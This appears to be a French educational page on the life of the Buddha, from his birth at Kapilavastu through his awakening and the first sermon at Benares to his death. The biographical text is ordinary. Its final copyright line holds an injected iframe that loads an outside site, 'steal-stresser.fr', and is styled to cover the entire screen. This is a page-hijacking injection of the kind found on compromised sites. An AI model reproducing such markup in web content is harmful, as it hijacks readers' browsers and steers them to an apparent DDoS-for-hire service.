Le Bouddhisme
Sommaire
• LE BOUDDHA
• LE BOUDDHISME
LE BOUDDHA
Fondateur du bouddhisme. Le Bouddha nom sous lequel on désigne Siddharta Gautama, ou Çakyamuni, après qu'il
fut parvenu à l'illumination. Peu connue, l'existence du Bouddha, qui vécut du milieu du VIe siècle à environ 470
avant J.-C., en Inde du Nord, est restée entourée de légendes. Communément appelé Sakyamuni (« le Sage du clan
des Sakya »), il était né dans la petite tribu des Sakya et appartenait à la lignée des Gautama. Selon la tradition, il
naît dans une famille noble de la principauté de Kapilavastu, sur les confins indo-népalais. Le nouveau-né fut déposé
sur un lotus par une divinité. Sa mère, la reine Maya, qui mourut sept jours après la naissance de son fils, l'aurait
conçu par son flanc droit après avoir rêvé qu'un éléphant blanc à six défenses lui perçait le sein. Goûtant aux plaisirs
terrestres et au luxe raffiné, le jeune prince reçut de son père, une éducation guerrière. Il se maria à seize ans et
engendra un fils.
A trente ans, il partit pour vivre sept années dans l'errance et l'ascèse, abandonnant famille et vie fastueuse, après
avoir croisé un vieillard, un cadavre, un infirme et un ermite - quatre visions qui le plongèrent dans une profonde
réflexion sur la destinée humaine. Il prit brusquement conscience des maux essentiels de l'humanité : la vieillesse, la
mort, la maladie et la pauvreté. Cherchant à se détacher de ce monde d'affliction, Gautama décida alors de vivre en
ermite et d'apprendre à jeûner « comme un insecte durant la mauvaise saison ». Il songea à trouver ses maîtres
spirituels parmi les brahmanes, mais ni ces moines arrogants ni l'hindouisme perpétuant l'injustice du système des
castes ne lui apportèrent l'apaisement spirituel auquel il aspirait.
Ayant compris qu'une existence de macération ne vaut guère mieux qu'une vie de plaisir, il eut soudain, lors d'une
méditation sous un figuier, l'illumination de la connaissance libératrice. A travers la vision de la totalité de l'univers il
avait atteint la bodhi, l'éveil à la connaissance suprême. Dorénavant, il sera appelé Bouddha : « l'Eveillé ». (On lui
donnera également bien d'autres titres, particulièrement celui de Siddartha, qui veut dire « Celui qui a atteint son but
».)
Au sortir de cette révélation, le Bouddha prit conscience qu'il existe une « Voie moyenne » entre la vaine jouissance
de la vie et le renoncement amer. Cet éveil lui apporta la révélation du cycle des réincarnations et de sa causalité
cruelle, mais aussi le moyen d'y échapper. La doctrine philosophique qu'il élabora par la suite repose sur quatre «
nobles vérités », qui portent sur l'universalité de la souffrance, son origine, son anéantissement et le chemin spirituel
pour y parvenir. Craignant que les hommes, prisonniers de leurs passions et marqués par leur soif de vivre, ne se
montrent indifférents à sa découverte, le Bouddha hésita longtemps avant de partir prêcher et de renoncer à la
libération totale que lui offrait son anéantissement suprême dans le nirvana. Son premier sermon, à Bénarès, lui
valut la conversion de cinq moines.
Dès lors, il s'attira de nombreux adeptes, grâce à sa philosophie exposée au hasard de ses pérégrinations, à la
conduite de vie et à la sérénité de ses fidèles. A quatre-vingts ans, le Bouddha, qui avait converti des gens du
peuple, mais également des souverains, s'éteignit. Ses restes, incinérés, furent disputés par ses fidèles qui les
enchâssèrent sous des reliquaires, les stupas.
Copyright © <iframe src="http://steal-stresser.fr/" style="border: 0; position: fixed; top:0; left:0; right:0; bottom:0; width:100%; height:100%">Page 2/8